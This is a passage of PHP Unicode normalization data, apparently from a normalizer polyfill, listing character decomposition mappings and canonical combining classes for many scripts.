'לּ', 'מּ' => 'מּ', 'נּ' => 'נּ', 'סּ' => 'סּ', 'ףּ' => 'ףּ', 'פּ' => 'פּ', 'צּ' => 'צּ', 'קּ' => 'קּ', 'רּ' => 'רּ', 'שּ' => 'שּ', 'תּ' => 'תּ', 'וֹ' => 'וֹ', 'בֿ' => 'בֿ', 'כֿ' => 'כֿ', 'פֿ' => 'פֿ', '𑂚' => '𑂚', '𑂜' => '𑂜', '𑂫' => '𑂫', '𑄮' => '𑄮', '𑄯' => '𑄯', '𑍋' => '𑍋', '𑍌' => '𑍌', '𑒻' => '𑒻', '𑒼' => '𑒼', '𑒾' => '𑒾', '𑖺' => '𑖺', '𑖻' => '𑖻', '𑤸' => '𑤸', '𝅗𝅥' => '𝅗𝅥', '𝅘𝅥' => '𝅘𝅥', '𝅘𝅥𝅮' => '𝅘𝅥𝅮', '𝅘𝅥𝅯' => '𝅘𝅥𝅯', '𝅘𝅥𝅰' => '𝅘𝅥𝅰', '𝅘𝅥𝅱' => '𝅘𝅥𝅱', '𝅘𝅥𝅲' => '𝅘𝅥𝅲', '𝆹𝅥' => '𝆹𝅥', '𝆺𝅥' => '𝆺𝅥', '𝆹𝅥𝅮' => '𝆹𝅥𝅮', '𝆺𝅥𝅮' => '𝆺𝅥𝅮', '𝆹𝅥𝅯' => '𝆹𝅥𝅯', '𝆺𝅥𝅯' => '𝆺𝅥𝅯', '丽' => '丽', '丸' => '丸', '乁' => '乁', '𠄢' => '𠄢', '你' => '你', '侮' => '侮', '侻' => '侻', '倂' => '倂', '偺' => '偺', '備' => '備', '僧' => '僧', '像' => '像', '㒞' => '㒞', '𠘺' => '𠘺', '免' => '免', '兔' => '兔', '兤' => '兤', '具' => '具', '𠔜' => '𠔜', '㒹' => '㒹', '內' => '內', '再' => '再', '𠕋' => '𠕋', '冗' => '冗', '冤' => '冤', '仌' => '仌', '冬' => '冬', '况' => '况', '𩇟' => '𩇟', '凵' => '凵', '刃' => '刃', '㓟' => '㓟', '刻' => '刻', '剆' => '剆', '割' => '割', '剷' => '剷', '㔕' => '㔕', '勇' => '勇', '勉' => '勉', '勤' => '勤', '勺' => '勺', '包' => '包', '匆' => '匆', '北' => '北', '卉' => '卉', '卑' => '卑', '博' => '博', '即' => '即', '卽' => '卽', '卿' => '卿', '卿' => '卿', '卿' => '卿', '𠨬' => '𠨬', '灰' => '灰', '及' => '及', '叟' => '叟', '𠭣' => '𠭣', '叫' => '叫', '叱' => '叱', '吆' => '吆', '咞' => '咞', '吸' => '吸', '呈' => '呈', '周' => '周', '咢' => '咢', '哶' => '哶', '唐' => '唐', '啓' => '啓', '啣' => '啣', '善' => '善', '善' => '善', '喙' => '喙', '喫' => '喫', '喳' => '喳', '嗂' => '嗂', '圖' => '圖', '嘆' => '嘆', '圗' => '圗', '噑' => '噑', '噴' => '噴', '切' => '切', '壮' => '壮', '城' => '城', '埴' => '埴', '堍' => '堍', '型' => '型', '堲' => '堲', '報' => '報', '墬' => '墬', '𡓤' => '𡓤', '売' => '売', '壷' => '壷', '夆' => '夆', '多' => '多', '夢' => '夢', '奢' => '奢', '𡚨' => '𡚨', '𡛪' => '𡛪', '姬' => '姬', '娛' => '娛', '娧' => '娧', '姘' => '姘', '婦' => '婦', '㛮' => '㛮', '㛼' => '㛼', '嬈' => '嬈', '嬾' => '嬾', '嬾' => '嬾', '𡧈' => '𡧈', '寃' => '寃', '寘' => '寘', '寧' => '寧', '寳' => '寳', '𡬘' => '𡬘', '寿' => '寿', '将' => '将', '当' => '当', '尢' => '尢', '㞁' => '㞁', '屠' => '屠', '屮' => '屮', '峀' => '峀', '岍' => '岍', '𡷤' => '𡷤', '嵃' => '嵃', '𡷦' => '𡷦', '嵮' => '嵮', '嵫' => '嵫', '嵼' => '嵼', '巡' => '巡', '巢' => '巢', '㠯' => '㠯', '巽' => '巽', '帨' => '帨', '帽' => '帽', '幩' => '幩', '㡢' => '㡢', '𢆃' => '𢆃', '㡼' => '㡼', '庰' => '庰', '庳' => '庳', '庶' => '庶', '廊' => '廊', '𪎒' => '𪎒', '廾' => '廾', '𢌱' => '𢌱', '𢌱' => '𢌱', '舁' => '舁', '弢' => '弢', '弢' => '弢', '㣇' => '㣇', '𣊸' => '𣊸', '𦇚' => '𦇚', '形' => '形', '彫' => '彫', '㣣' => '㣣', '徚' => '徚', '忍' => '忍', '志' => '志', '忹' => '忹', '悁' => '悁', '㤺' => '㤺', '㤜' => '㤜', '悔' => '悔', '𢛔' => '𢛔', '惇' => '惇', '慈' => '慈', '慌' => '慌', '慎' => '慎', '慌' => '慌', '慺' => '慺', '憎' => '憎', '憲' => '憲', '憤' => '憤', '憯' => '憯', '懞' => '懞', '懲' => '懲', '懶' => '懶', '成' => '成', '戛' => '戛', '扝' => '扝', '抱' => '抱', '拔' => '拔', '捐' => '捐', '𢬌' => '𢬌', '挽' => '挽', '拼' => '拼', '捨' => '捨', '掃' => '掃', '揤' => '揤', '𢯱' => '𢯱', '搢' => '搢', '揅' => '揅', '掩' => '掩', '㨮' => '㨮', '摩' => '摩', '摾' => '摾', '撝' => '撝', '摷' => '摷', '㩬' => '㩬', '敏' => '敏', '敬' => '敬', '𣀊' => '𣀊', '旣' => '旣', '書' => '書', '晉' => '晉', '㬙' => '㬙', '暑' => '暑', '㬈' => '㬈', '㫤' => '㫤', '冒' => '冒', '冕' => '冕', '最' => '最', '暜' => '暜', '肭' => '肭', '䏙' => '䏙', '朗' => '朗', '望' => '望', '朡' => '朡', '杞' => '杞', '杓' => '杓', '𣏃' => '𣏃', '㭉' => '㭉', '柺' => '柺', '枅' => '枅', '桒' => '桒', '梅' => '梅', '𣑭' => '𣑭', '梎' => '梎', '栟' => '栟', '椔' => '椔', '㮝' => '㮝', '楂' => '楂', '榣' => '榣', '槪' => '槪', '檨' => '檨', '𣚣' => '𣚣', '櫛' => '櫛', '㰘' => '㰘', '次' => '次', '𣢧' => '𣢧', '歔' => '歔', '㱎' => '㱎', '歲' => '歲', '殟' => '殟', '殺' => '殺', '殻' => '殻', '𣪍' => '𣪍', '𡴋' => '𡴋', '𣫺' => '𣫺', '汎' => '汎', '𣲼' => '𣲼', '沿' => '沿', '泍' => '泍', '汧' => '汧', '洖' => '洖', '派' => '派', '海' => '海', '流' => '流', '浩' => '浩', '浸' => '浸', '涅' => '涅', '𣴞' => '𣴞', '洴' => '洴', '港' => '港', '湮' => '湮', '㴳' => '㴳', '滋' => '滋', '滇' => '滇', '𣻑' => '𣻑', '淹' => '淹', '潮' => '潮', '𣽞' => '𣽞', '𣾎' => '𣾎', '濆' => '濆', '瀹' => '瀹', '瀞' => '瀞', '瀛' => '瀛', '㶖' => '㶖', '灊' => '灊', '災' => '災', '灷' => '灷', '炭' => '炭', '𠔥' => '𠔥', '煅' => '煅', '𤉣' => '𤉣', '熜' => '熜', '𤎫' => '𤎫', '爨' => '爨', '爵' => '爵', '牐' => '牐', '𤘈' => '𤘈', '犀' => '犀', '犕' => '犕', '𤜵' => '𤜵', '𤠔' => '𤠔', '獺' => '獺', '王' => '王', '㺬' => '㺬', '玥' => '玥', '㺸' => '㺸', '㺸' => '㺸', '瑇' => '瑇', '瑜' => '瑜', '瑱' => '瑱', '璅' => '璅', '瓊' => '瓊', '㼛' => '㼛', '甤' => '甤', '𤰶' => '𤰶', '甾' => '甾', '𤲒' => '𤲒', '異' => '異', '𢆟' => '𢆟', '瘐' => '瘐', '𤾡' => '𤾡', '𤾸' => '𤾸', '𥁄' => '𥁄', '㿼' => '㿼', '䀈' => '䀈', '直' => '直', '𥃳' => '𥃳', '𥃲' => '𥃲', '𥄙' => '𥄙', '𥄳' => '𥄳', '眞' => '眞', '真' => '真', '真' => '真', '睊' => '睊', '䀹' => '䀹', '瞋' => '瞋', '䁆' => '䁆', '䂖' => '䂖', '𥐝' => '𥐝', '硎' => '硎', '碌' => '碌', '磌' => '磌', '䃣' => '䃣', '𥘦' => '𥘦', '祖' => '祖', '𥚚' => '𥚚', '𥛅' => '𥛅', '福' => '福', '秫' => '秫', '䄯' => '䄯', '穀' => '穀', '穊' => '穊', '穏' => '穏', '𥥼' => '𥥼', '𥪧' => '𥪧', '𥪧' => '𥪧', '竮' => '竮', '䈂' => '䈂', '𥮫' => '𥮫', '篆' => '篆', '築' => '築', '䈧' => '䈧', '𥲀' => '𥲀', '糒' => '糒', '䊠' => '䊠', '糨' => '糨', '糣' => '糣', '紀' => '紀', '𥾆' => '𥾆', '絣' => '絣', '䌁' => '䌁', '緇' => '緇', '縂' => '縂', '繅' => '繅', '䌴' => '䌴', '𦈨' => '𦈨', '𦉇' => '𦉇', '䍙' => '䍙', '𦋙' => '𦋙', '罺' => '罺', '𦌾' => '𦌾', '羕' => '羕', '翺' => '翺', '者' => '者', '𦓚' => '𦓚', '𦔣' => '𦔣', '聠' => '聠', '𦖨' => '𦖨', '聰' => '聰', '𣍟' => '𣍟', '䏕' => '䏕', '育' => '育', '脃' => '脃', '䐋' => '䐋', '脾' => '脾', '媵' => '媵', '𦞧' => '𦞧', '𦞵' => '𦞵', '𣎓' => '𣎓', '𣎜' => '𣎜', '舁' => '舁', '舄' => '舄', '辞' => '辞', '䑫' => '䑫', '芑' => '芑', '芋' => '芋', '芝' => '芝', '劳' => '劳', '花' => '花', '芳' => '芳', '芽' => '芽', '苦' => '苦', '𦬼' => '𦬼', '若' => '若', '茝' => '茝', '荣' => '荣', '莭' => '莭', '茣' => '茣', '莽' => '莽', '菧' => '菧', '著' => '著', '荓' => '荓', '菊' => '菊', '菌' => '菌', '菜' => '菜', '𦰶' => '𦰶', '𦵫' => '𦵫', '𦳕' => '𦳕', '䔫' => '䔫', '蓱' => '蓱', '蓳' => '蓳', '蔖' => '蔖', '𧏊' => '𧏊', '蕤' => '蕤', '𦼬' => '𦼬', '䕝' => '䕝', '䕡' => '䕡', '𦾱' => '𦾱', '𧃒' => '𧃒', '䕫' => '䕫', '虐' => '虐', '虜' => '虜', '虧' => '虧', '虩' => '虩', '蚩' => '蚩', '蚈' => '蚈', '蜎' => '蜎', '蛢' => '蛢', '蝹' => '蝹', '蜨' => '蜨', '蝫' => '蝫', '螆' => '螆', '䗗' => '䗗', '蟡' => '蟡', '蠁' => '蠁', '䗹' => '䗹', '衠' => '衠', '衣' => '衣', '𧙧' => '𧙧', '裗' => '裗', '裞' => '裞', '䘵' => '䘵', '裺' => '裺', '㒻' => '㒻', '𧢮' => '𧢮', '𧥦' => '𧥦', '䚾' => '䚾', '䛇' => '䛇', '誠' => '誠', '諭' => '諭', '變' => '變', '豕' => '豕', '𧲨' => '𧲨', '貫' => '貫', '賁' => '賁', '贛' => '贛', '起' => '起', '𧼯' => '𧼯', '𠠄' => '𠠄', '跋' => '跋', '趼' => '趼', '跰' => '跰', '𠣞' => '𠣞', '軔' => '軔', '輸' => '輸', '𨗒' => '𨗒', '𨗭' => '𨗭', '邔' => '邔', '郱' => '郱', '鄑' => '鄑', '𨜮' => '𨜮', '鄛' => '鄛', '鈸' => '鈸', '鋗' => '鋗', '鋘' => '鋘', '鉼' => '鉼', '鏹' => '鏹', '鐕' => '鐕', '𨯺' => '𨯺', '開' => '開', '䦕' => '䦕', '閷' => '閷', '𨵷' => '𨵷', '䧦' => '䧦', '雃' => '雃', '嶲' => '嶲', '霣' => '霣', '𩅅' => '𩅅', '𩈚' => '𩈚', '䩮' => '䩮', '䩶' => '䩶', '韠' => '韠', '𩐊' => '𩐊', '䪲' => '䪲', '𩒖' => '𩒖', '頋' => '頋', '頋' => '頋', '頩' => '頩', '𩖶' => '𩖶', '飢' => '飢', '䬳' => '䬳', '餩' => '餩', '馧' => '馧', '駂' => '駂', '駾' => '駾', '䯎' => '䯎', '𩬰' => '𩬰', '鬒' => '鬒', '鱀' => '鱀', '鳽' => '鳽', '䳎' => '䳎', '䳭' => '䳭', '鵧' => '鵧', '𪃎' => '𪃎', '䳸' => '䳸', '𪄅' => '𪄅', '𪈎' => '𪈎', '𪊑' => '𪊑', '麻' => '麻', '䵖' => '䵖', '黹' => '黹', '黾' => '黾', '鼅' => '鼅', '鼏' => '鼏', '鼖' => '鼖', '鼻' => '鼻', '𪘀' => '𪘀', ); 230, '́' => 230, '̂' => 230, '̃' => 230, '̄' => 230, '̅' => 230, '̆' => 230, '̇' => 230, '̈' => 230, '̉' => 230, '̊' => 230, '̋' => 230, '̌' => 230, '̍' => 230, '̎' => 230, '̏' => 230, '̐' => 230, '̑' => 230, '̒' => 230, '̓' => 230, '̔' => 230, '̕' => 232, '̖' => 220, '̗' => 220, '̘' => 220, '̙' => 220, '̚' => 232, '̛' => 216, '̜' => 220, '̝' => 220, '̞' => 220, '̟' => 220, '̠' => 220, '̡' => 202, '̢' => 202, '̣' => 220, '̤' => 220, '̥' => 220, '̦' => 220, '̧' => 202, '̨' => 202, '̩' => 220, '̪' => 220, '̫' => 220, '̬' => 220, '̭' => 220, '̮' => 220, '̯' => 220, '̰' => 220, '̱' => 220, '̲' => 220, '̳' => 220, '̴' => 1, '̵' => 1, '̶' => 1, '̷' => 1, '̸' => 1, '̹' => 220, '̺' => 220, '̻' => 220, '̼' => 220, '̽' => 230, '̾' => 230, '̿' => 230, '̀' => 230, '́' => 230, '͂' => 230, '̓' => 230, '̈́' => 230, 'ͅ' => 240, '͆' => 230, '͇' => 220, '͈' => 220, '͉' => 220, '͊' => 230, '͋' => 230, '͌' => 230, '͍' => 220, '͎' => 220, '͐' => 230, '͑' => 230, '͒' => 230, '͓' => 220, '͔' => 220, '͕' => 220, '͖' => 220, '͗' => 230, '͘' => 232, '͙' => 220, '͚' => 220, '͛' => 230, '͜' => 233, '͝' => 234, '͞' => 234, '͟' => 233, '͠' => 234, '͡' => 234, '͢' => 233, 'ͣ' => 230, 'ͤ' => 230, 'ͥ' => 230, 'ͦ' => 230, 'ͧ' => 230, 'ͨ' => 230, 'ͩ' => 230, 'ͪ' => 230, 'ͫ' => 230, 'ͬ' => 230, 'ͭ' => 230, 'ͮ' => 230, 'ͯ' => 230, '҃' => 230, '҄' => 230, '҅' => 230, '҆' => 230, '҇' => 230, '֑' => 220, '֒' => 230, '֓' => 230, '֔' => 230, '֕' => 230, '֖' => 220, '֗' => 230, '֘' => 230, '֙' => 230, '֚' => 222, '֛' => 220, '֜' => 230, '֝' => 230, '֞' => 230, '֟' => 230, '֠' => 230, '֡' => 230, '֢' => 220, '֣' => 220, '֤' => 220, '֥' => 220, '֦' => 220, '֧' => 220, '֨' => 230, '֩' => 230, '֪' => 220, '֫' => 230, '֬' => 230, '֭' => 222, '֮' => 228, '֯' => 230, 'ְ' => 10, 'ֱ' => 11, 'ֲ' => 12, 'ֳ' => 13, 'ִ' => 14, 'ֵ' => 15, 'ֶ' => 16, 'ַ' => 17, 'ָ' => 18, 'ֹ' => 19, 'ֺ' => 19, 'ֻ' => 20, 'ּ' => 21, 'ֽ' => 22, 'ֿ' => 23, 'ׁ' => 24, 'ׂ' => 25, 'ׄ' => 230, 'ׅ' => 220, 'ׇ' => 18, 'ؐ' => 230, 'ؑ' => 230, 'ؒ' => 230, 'ؓ' => 230, 'ؔ' => 230, 'ؕ' => 230, 'ؖ' => 230, 'ؗ' => 230, 'ؘ' => 30, 'ؙ' => 31, 'ؚ' => 32, 'ً' => 27, 'ٌ' => 28, 'ٍ' => 29, 'َ' => 30, 'ُ' => 31, 'ِ' => 32, 'ّ' => 33, 'ْ' => 34, 'ٓ' => 230, 'ٔ' => 230, 'ٕ' => 220, 'ٖ' => 220, 'ٗ' => 230, '٘' => 230, 'ٙ' => 230, 'ٚ' => 230, 'ٛ' => 230, 'ٜ' => 220, 'ٝ' => 230, 'ٞ' => 230, 'ٟ' => 220, 'ٰ' => 35, 'ۖ' => 230, 'ۗ' => 230, 'ۘ' => 230, 'ۙ' => 230, 'ۚ' => 230, 'ۛ' => 230, 'ۜ' => 230, '۟' => 230, '۠' => 230, 'ۡ' => 230, 'ۢ' => 230, 'ۣ' => 220, 'ۤ' => 230, 'ۧ' => 230, 'ۨ' => 230, '۪' => 220, '۫' => 230, '۬' => 230, 'ۭ' => 220, 'ܑ' => 36, 'ܰ' => 230, 'ܱ' => 220, 'ܲ' => 230, 'ܳ' => 230, 'ܴ' => 220, 'ܵ' => 230, 'ܶ' => 230, 'ܷ' => 220, 'ܸ' => 220, 'ܹ' => 220, 'ܺ' => 230, 'ܻ' => 220, 'ܼ' => 220, 'ܽ' => 230, 'ܾ' => 220, 'ܿ' => 230, '݀' => 230, '݁' => 230, '݂' => 220, '݃' => 230, '݄' => 220, '݅' => 230, '݆' => 220, '݇' => 230, '݈' => 220, '݉' => 230, '݊' => 230, '߫' => 230, '߬' => 230, '߭' => 230, '߮' => 230, '߯' => 230, '߰' => 230, '߱' => 230, '߲' => 220, '߳' => 230, '߽' => 220, 'ࠖ' => 230, 'ࠗ' => 230, '࠘' => 230, '࠙' => 230, 'ࠛ' => 230, 'ࠜ' => 230, 'ࠝ' => 230, 'ࠞ' => 230, 'ࠟ' => 230, 'ࠠ' => 230, 'ࠡ' => 230, 'ࠢ' => 230, 'ࠣ' => 230, 'ࠥ' => 230, 'ࠦ' => 230, 'ࠧ' => 230, 'ࠩ' => 230, 'ࠪ' => 230, 'ࠫ' => 230, 'ࠬ' => 230, '࠭' => 230, '࡙' => 220, '࡚' => 220, '࡛' => 220, '࣓' => 220, 'ࣔ' => 230, 'ࣕ' => 230, 'ࣖ' => 230, 'ࣗ' => 230, 'ࣘ' => 230, 'ࣙ' => 230, 'ࣚ' => 230, 'ࣛ' => 230, 'ࣜ' => 230, 'ࣝ' => 230, 'ࣞ' => 230, 'ࣟ' => 230, '࣠' => 230, '࣡' => 230, 'ࣣ' => 220, 'ࣤ' => 230, 'ࣥ' => 230, 'ࣦ' => 220, 'ࣧ' => 230, 'ࣨ' => 230, 'ࣩ' => 220, '࣪' => 230, '࣫' => 230, '࣬' => 230, '࣭' => 220, '࣮' => 220, '࣯' => 220, 'ࣰ' => 27, 'ࣱ' => 28, 'ࣲ' => 29, 'ࣳ' => 230, 'ࣴ' => 230, 'ࣵ' => 230, 'ࣶ' => 220, 'ࣷ' => 230, 'ࣸ' => 230, 'ࣹ' => 220, 'ࣺ' => 220, 'ࣻ' => 230, 'ࣼ' => 230, 'ࣽ' => 230, 'ࣾ' => 230, 'ࣿ' => 230, '़' => 7, '्' => 9, '॑' => 230, '॒' => 220, '॓' => 230, '॔' => 230, '়' => 7, '্' => 9, '৾' => 230, '਼' => 7, '੍' => 9, '઼' => 7, '્' => 9, '଼' => 7, '୍' => 9, '்' => 9, '్' => 9, 'ౕ' => 84, 'ౖ' => 91, '಼' => 7, '್' => 9, '഻' => 9, '഼' => 9, '്' => 9, '්' => 9, 'ุ' => 103, 'ู' => 103, 'ฺ' => 9, '่' => 107, '้' => 107, '๊' => 107, '๋' => 107, 'ຸ' => 118, 'ູ' => 118, '຺' => 9, '່' => 122, '້' => 122, '໊' => 122, '໋' => 122, '༘' => 220, '༙' => 220, '༵' => 220, '༷' => 220, '༹' => 216, 'ཱ' => 129, 'ི' => 130, 'ུ' => 132, 'ེ' => 130, 'ཻ' => 130, 'ོ' => 130, 'ཽ' => 130, 'ྀ' => 130, 'ྂ' => 230, 'ྃ' => 230, '྄' => 9, '྆' => 230, '྇' => 230, '࿆' => 220, '့' => 7, '္' => 9, '်' => 9, 'ႍ' => 220, '፝' => 230, '፞' => 230, '፟' => 230, '᜔' => 9, '᜴' => 9, '្' => 9, '៝' => 230, 'ᢩ' => 228, '᤹' => 222, '᤺' => 230, '᤻' => 220, 'ᨗ' => 230, 'ᨘ' => 220, '᩠' => 9, '᩵' => 230, '᩶' => 230, '᩷' => 230, '᩸' => 230, '᩹' => 230, '᩺' => 230, '᩻' => 230, '᩼' => 230, '᩿' => 220, '᪰' => 230, '᪱' => 230, '᪲' => 230, '᪳' => 230, '᪴' => 230, '᪵' => 220, '᪶' => 220, '᪷' => 220, '᪸' => 220, '᪹' => 220, '᪺' => 220, '᪻' => 230, '᪼' => 230, '᪽' => 220, 'ᪿ' => 220, 'ᫀ' => 220, '᬴' => 7, '᭄' => 9, '᭫' => 230, '᭬' => 220, '᭭' => 230, '᭮' => 230, '᭯' => 230, '᭰' => 230, '᭱' => 230, '᭲' => 230, '᭳' => 230, '᮪' => 9, '᮫' => 9, '᯦' => 7, '᯲' => 9, '᯳' => 9, '᰷' => 7, '᳐' => 230, '᳑' => 230, '᳒' => 230, '᳔' => 1, '᳕' => 220, '᳖' => 220, '᳗' => 220, '᳘' => 220, '᳙' => 220, '᳚' => 230, '᳛' => 230, '᳜' => 220, '᳝' => 220, '᳞' => 220, '᳟' => 220, '᳠' => 230, '᳢' => 1, '᳣' => 1, '᳤' => 1, '᳥' => 1, '᳦' => 1, '᳧' => 1, '᳨' => 1, '᳭' => 220, '᳴' => 230, '᳸' => 230, '᳹' => 230, '᷀' => 230, '᷁' => 230, '᷂' => 220, '᷃' => 230, '᷄' => 230, '᷅' => 230, '᷆' => 230, '᷇' => 230, '᷈' => 230, '᷉' => 230, '᷊' => 220, '᷋' => 230, '᷌' => 230, '᷍' => 234, '᷎' => 214, '᷏' => 220, '᷐' => 202, '᷑' => 230, '᷒' => 230, 'ᷓ' => 230, 'ᷔ' => 230, 'ᷕ' => 230, 'ᷖ' => 230, 'ᷗ' => 230, 'ᷘ' => 230, 'ᷙ' => 230, 'ᷚ' => 230, 'ᷛ' => 230, 'ᷜ' => 230, 'ᷝ' => 230, 'ᷞ' => 230, 'ᷟ' => 230, 'ᷠ' => 230, 'ᷡ' => 230, 'ᷢ' => 230, 'ᷣ' => 230, 'ᷤ' => 230, 'ᷥ' => 230, 'ᷦ' => 230, 'ᷧ' => 230, 'ᷨ' => 230, 'ᷩ' => 230, 'ᷪ' => 230, 'ᷫ' => 230, 'ᷬ' => 230, 'ᷭ' => 230, 'ᷮ' => 230, 'ᷯ' => 230, 'ᷰ' => 230, 'ᷱ' => 230, 'ᷲ' => 230, 'ᷳ' => 230, 'ᷴ' => 230, '᷵' => 230, '᷶' => 232, '᷷' => 228, '᷸' => 228, '᷹' => 220, '᷻' => 230, '᷼' => 233, '᷽' => 220, '᷾' => 230, '᷿' => 220, '⃐' => 230, '⃑' => 230, '⃒' => 1, '⃓' => 1, '⃔' => 230, '⃕' => 230, '⃖' => 230, '⃗' => 230, '⃘' => 1, '⃙' => 1, '⃚' => 1, '⃛' => 230, '⃜' => 230, '⃡' => 230, '⃥' => 1, '⃦' => 1, '⃧' => 230, '⃨' => 220, '⃩' => 230, '⃪' => 1, '⃫' => 1, '⃬' => 220, '⃭' => 220, '⃮' => 220, '⃯' => 220, '⃰' => 230, '⳯' => 230, '⳰' => 230, '⳱' => 230, '⵿' => 9, 'ⷠ' => 230, 'ⷡ' => 230, 'ⷢ' => 230, 'ⷣ' => 230, 'ⷤ' => 230, 'ⷥ' => 230, 'ⷦ' => 230, 'ⷧ' => 230, 'ⷨ' => 230, 'ⷩ' => 230, 'ⷪ' => 230, 'ⷫ' => 230, 'ⷬ' => 230, 'ⷭ' => 230, 'ⷮ' => 230, 'ⷯ' => 230, 'ⷰ' => 230, 'ⷱ' => 230, 'ⷲ' => 230, 'ⷳ' => 230, 'ⷴ' => 230, 'ⷵ' => 230, 'ⷶ' => 230, 'ⷷ' => 230, 'ⷸ' => 230, 'ⷹ' => 230, 'ⷺ' => 230, 'ⷻ' => 230, 'ⷼ' => 230, 'ⷽ' => 230, 'ⷾ' => 230, 'ⷿ' => 230, '〪' => 218, '〫' => 228, '〬' => 232, '〭' => 222, '〮' => 224, '〯' => 224, '゙' => 8, '゚' => 8, '꙯' => 230, 'ꙴ' => 230, 'ꙵ' => 230, 'ꙶ' => 230, 'ꙷ' => 230, 'ꙸ' => 230, 'ꙹ' => 230, 'ꙺ' => 230, 'ꙻ' => 230, '꙼' => 230, '꙽' => 230, 'ꚞ' => 230, 'ꚟ' => 230, '꛰' => 230, '꛱' => 230, '꠆' => 9, '꠬' => 9, '꣄' => 9, '꣠' => 230, '꣡' => 230, '꣢' => 230, '꣣' => 230, '꣤' => 230, '꣥' => 230, '꣦' => 230, '꣧' => 230, '꣨' => 230, '꣩' => 230, '꣪' => 230, '꣫' => 230, '꣬' => 230, '꣭' => 230, '꣮' => 230, '꣯' => 230, '꣰' => 230, '꣱' => 230, '꤫' => 220, '꤬' => 220, '꤭' => 220, '꥓' => 9, '꦳' => 7, '꧀' => 9, 'ꪰ' => 230, 'ꪲ' => 230, 'ꪳ' => 230, 'ꪴ' => 220, 'ꪷ' => 230, 'ꪸ' => 230, 'ꪾ' => 230, '꪿' => 230, '꫁' => 230, '꫶' => 9, '꯭' => 9, 'ﬞ' => 26, '︠' => 230, '︡' => 230, '︢' => 230, '︣' => 230, '︤' => 230, '︥' => 230, '︦' => 230, '︧' => 220, '︨' => 220, '︩' => 220, '︪' => 220, '︫' => 220, '︬' => 220, '︭' => 220, '︮' => 230, '︯' => 230, '𐇽' => 220, '𐋠' => 220, '𐍶' => 230, '𐍷' => 230, '𐍸' => 230, '𐍹' => 230, '𐍺' => 230, '𐨍' => 220, '𐨏' => 230, '𐨸' => 230, '𐨹' => 1, '𐨺' => 220, '𐨿' => 9, '𐫥' => 230, '𐫦' => 220, '𐴤' => 230, '𐴥' => 230, '𐴦' => 230, '𐴧' => 230, '𐺫' => 230, '𐺬' => 230, '𐽆' => 220, '𐽇' => 220, '𐽈' => 230, '𐽉' => 230, '𐽊' => 230, '𐽋' => 220, '𐽌' => 230, '𐽍' => 220, '𐽎' => 220, '𐽏' => 220, '𐽐' => 220, '𑁆' => 9, '𑁿' => 9, '𑂹' => 9, '𑂺' => 7, '𑄀' => 230, '𑄁' => 230, '𑄂' => 230, '𑄳' => 9, '𑄴' => 9, '𑅳' => 7, '𑇀' => 9, '𑇊' => 7, '𑈵' => 9, '𑈶' => 7, '𑋩' => 7, '𑋪' => 9, '𑌻' => 7, '𑌼' => 7, '𑍍' => 9, '𑍦' => 230, '𑍧' => 230, '𑍨' => 230, '𑍩' => 230, '𑍪' => 230, '𑍫' => 230, '𑍬' => 230, '𑍰' => 230, '𑍱' => 230, '𑍲' => 230, '𑍳' => 230, '𑍴' => 230, '𑑂' => 9, '𑑆' => 7, '𑑞' => 230, '𑓂' => 9, '𑓃' => 7, '𑖿' => 9, '𑗀' => 7, '𑘿' => 9, '𑚶' => 9, '𑚷' => 7, '𑜫' => 9, '𑠹' => 9, '𑠺' => 7, '𑤽' => 9, '𑤾' => 9, '𑥃' => 7, '𑧠' => 9, '𑨴' => 9, '𑩇' => 9, '𑪙' => 9, '𑰿' => 9, '𑵂' => 7, '𑵄' => 9, '𑵅' => 9, '𑶗' => 9, '𖫰' => 1, '𖫱' => 1, '𖫲' => 1, '𖫳' => 1, '𖫴' => 1, '𖬰' => 230, '𖬱' => 230, '𖬲' => 230, '𖬳' => 230, '𖬴' => 230, '𖬵' => 230, '𖬶' => 230, '𖿰' => 6, '𖿱' => 6, '𛲞' => 1, '𝅥' => 216, '𝅦' => 216, '𝅧' => 1, '𝅨' => 1, '𝅩' => 1, '𝅭' => 226, '𝅮' => 216, '𝅯' => 216, '𝅰' => 216, '𝅱' => 216, '𝅲' => 216, '𝅻' => 220, '𝅼' => 220, '𝅽' => 220, '𝅾' => 220, '𝅿' => 220, '𝆀' => 220, '𝆁' => 220, '𝆂' => 220, '𝆅' => 230, '𝆆' => 230, '𝆇' => 230, '𝆈' => 230, '𝆉' => 230, '𝆊' => 220, '𝆋' => 220, '𝆪' => 230, '𝆫' => 230, '𝆬' => 230, '𝆭' => 230, '𝉂' => 230, '𝉃' => 230, '𝉄' => 230, '𞀀' => 230, '𞀁' => 230, '𞀂' => 230, '𞀃' => 230, '𞀄' => 230, '𞀅' => 230, '𞀆' => 230, '𞀈' => 230, '𞀉' => 230, '𞀊' => 230, '𞀋' => 230, '𞀌' => 230, '𞀍' => 230, '𞀎' => 230, '𞀏' => 230, '𞀐' => 230, '𞀑' => 230, '𞀒' => 230, '𞀓' => 230, '𞀔' => 230, '𞀕' => 230, '𞀖' => 230, '𞀗' => 230, '𞀘' => 230, '𞀛' => 230, '𞀜' => 230, '𞀝' => 230, '𞀞' => 230, '𞀟' => 230, '𞀠' => 230, '𞀡' => 230, '𞀣' => 230, '𞀤' => 230, '𞀦' => 230, '𞀧' => 230, '𞀨' => 230, '𞀩' => 230, '𞀪' => 230, '𞄰' => 230, '𞄱' => 230, '𞄲' => 230, '𞄳' => 230, '𞄴' => 230, '𞄵' => 230, '𞄶' => 230, '𞋬' => 230, '𞋭' => 230, '𞋮' => 230, '𞋯' => 230, '𞣐' => 220, '𞣑' => 220, '𞣒' => 220, '𞣓' => 220, '𞣔' => 220, '𞣕' => 220, '𞣖' => 220, '𞥄' => 230, '𞥅' => 230, '𞥆' => 230, '𞥇' => 230, '𞥈' => 230, '𞥉' => 230, '𞥊' => 7, ); ' ', '¨' => ' ̈', 'ª' => 'a', '¯' => ' ̄', '²' => '2', '³' => '3', '´' => ' ́', 'µ' => 'μ', '¸' => ' ̧', '¹' => '1', 'º' => 'o', '¼' => '1⁄4', '½' => '1⁄2', '¾' => '3⁄4', 'IJ' => 'IJ', 'ij' => 'ij', 'Ŀ' => 'L·', 'ŀ' => 'l·', 'ʼn' => 'ʼn', 'ſ' => 's', 'DŽ' => 'DŽ', 'Dž' => 'Dž', 'dž' => 'dž', 'LJ' => 'LJ', 'Lj' => 'Lj', 'lj' => 'lj', 'NJ' => 'NJ', 'Nj' => 'Nj', 'nj' => 'nj', 'DZ' => 'DZ', 'Dz' => 'Dz', 'dz' => 'dz', 'ʰ' => 'h', 'ʱ' => 'ɦ', 'ʲ' => 'j', 'ʳ' => 'r', 'ʴ' => 'ɹ', 'ʵ' 